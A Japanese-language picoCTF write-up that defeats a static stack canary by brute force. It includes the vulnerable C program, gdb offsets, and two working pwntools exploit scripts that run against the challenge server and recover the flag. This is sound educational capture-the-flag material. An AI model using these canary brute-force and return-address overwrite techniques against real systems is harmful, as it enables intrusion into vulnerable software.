総当たりで canary を特定する
Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows.
問題
ソース
vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
canaryのサイズは4バイト
BOF調査
0x80495e1 <main+89>: call 0x8049461 <vuln>
0x80495e6 <main+94>: mov eax,0x0
vuln関数の戻りアドレス 0x80495e6
ローカル環境のcanaryは,メモ帳で作成 0123
gdb-peda$ x/60xw $esp
0xffffd4d0: 0x00000000 0xffffd528 0x00000006 0x08049474
0xffffd4e0: 0x0804d160 0x00000006 0x63636336 0x0a636363
0xffffd4f0: 0x00000001 0x00000000 0xf7e57ecb 0xf7fb8000
0xffffd500: 0x0804d160 0xf7fb8000 0xffffd548 0xf7e45b44
0xffffd510: 0x0804d160 0x00000000 0x00000004 0x00000001
0xffffd520: 0xf7fe4f19 0x0804c000 0x0a414141 0x00000000
0xffffd530: 0xffffd578 0xf7feade0 0xf7e45a2b 0x0804c000
0xffffd540: 0xf7fb8000 0x00000000 0xffffd578 0x08049458
0xffffd550: 0x0804d160 0x00000001 0x00000004 0x0804d160
0xffffd560: 0x00000000 0xf7ea0376 0x33323130 0x00000007 <-- canary 0x33323130
0xffffd570: 0x00000000 0x0804c000 0xffffd598 0x080495e6 <-- vuln戻りアドレス 0x080495e6
Aの数 4*21
canaryまで 4*16
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x8049336 <win>
win関数のアドレス
普通に攻撃してみる
# ./vuln
How Many Bytes will You Write Into the Buffer?
> 88
Input>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x93\x04
***** Stack Smashing Detected ***** : Canary Value Corrupt!
BOF で canary を書き換えてしまうと,***** Stack Smashing Detected *****が表示される
総当たり攻撃で canary を特定
solver1.py
import pwn
import os
import time
canary = ""
byte = 0x00
def brute():
global canary
global byte
while byte <= 0xff:
io = pwn.remote("saturn.picoctf.net", 55012)
#io = pwn.process("./vuln")
ret = io.readuntil("How Many Bytes will You Write Into the Buffer?\n> ")
print(ret)
io.sendline('88')
ret = io.readuntil("Input> ")
print(ret)
io.send("A"*4*16 + canary + chr(byte))
print("A"*4*16 + canary + chr(byte))
reply=io.recvall()
print(reply)
if "***" in reply:
byte += 1
#time.sleep(3)
else:
canary += chr(byte)
byte = 0x00
break
brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
このプログラムはローカルでは100発100中だが,ncすると,結果が安定しない。
どうもpicoのサーバーは,高負荷になると動きがあやしい。
また,canary は Instance 毎に異なり,それに気づくまで,非常に苦労した。
成功時の実行結果
途中から
Input>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRT
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 55821
***** Stack Smashing Detected ***** : Canary Value Corrupt!
[+] Opening connection to saturn.picoctf.net on port 55821: Done
How Many Bytes will You Write Into the Buffer?
>
Input>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRU
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 55821
***** Stack Smashing Detected ***** : Canary Value Corrupt!
[+] Opening connection to saturn.picoctf.net on port 55821: Done
How Many Bytes will You Write Into the Buffer?
>
Input>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRV
[+] Receiving all data: Done (0B)
[*] Closed connection to saturn.picoctf.net port 55821
Canary: \x42\x69\x52\x56
最終攻撃
solver2.py
import pwn
io = pwn.remote("saturn.picoctf.net", 55012)
#io = pwn.process("./vuln")
ret = io.readuntil("How Many Bytes will You Write Into the Buffer?\n> ")
print(ret)
io.sendline('88')
ret = io.readuntil("Input> ")
print(ret)
win_addr = 0x8049336
canary = "BiRd"
#s = b"A" * 4 * 21
s = b"A" * 4 * 16
s += canary
s += b"A" * 4 * 4
s += pwn.p32(win_addr)
print(s)
io.send(s)
io.interactive()
結果
# python solver2.py
[+] Opening connection to saturn.picoctf.net on port 55012: Done
How Many Bytes will You Write Into the Buffer?
>
Input>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93\x04
[*] Switching to interactive mode
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f9792127}
[*] Got EOF while reading in interactive